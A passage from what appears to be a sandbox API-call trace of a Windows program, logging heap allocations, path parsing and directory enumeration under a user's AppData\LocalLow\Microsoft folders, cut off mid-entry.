RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.873] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.876] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.876] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0114.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.876] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.876] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.876] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.876] PathFindFileNameW (pszPath="") returned="" [0114.876] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.877] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.877] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0114.877] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0114.877] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0114.877] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.878] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.878] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0114.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.878] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.878] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.878] PathFindFileNameW (pszPath="") returned="" [0114.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321138 | out: hHeap=0x660000) returned 1 [0114.881] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.881] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.881] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0114.882] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.882] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.882] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0114.882] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.882] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.882] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.882] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.882] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.882] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.882] PathFindFileNameW (pszPath="") returned="" [0114.882] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.882] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.882] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.882] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.883] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.883] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.883] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0114.883] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.883] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.883] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.883] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.883] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.883] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.883] PathFindFileNameW (pszPath="") returned="" [0114.883] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.884] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.884] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.884] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.884] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, 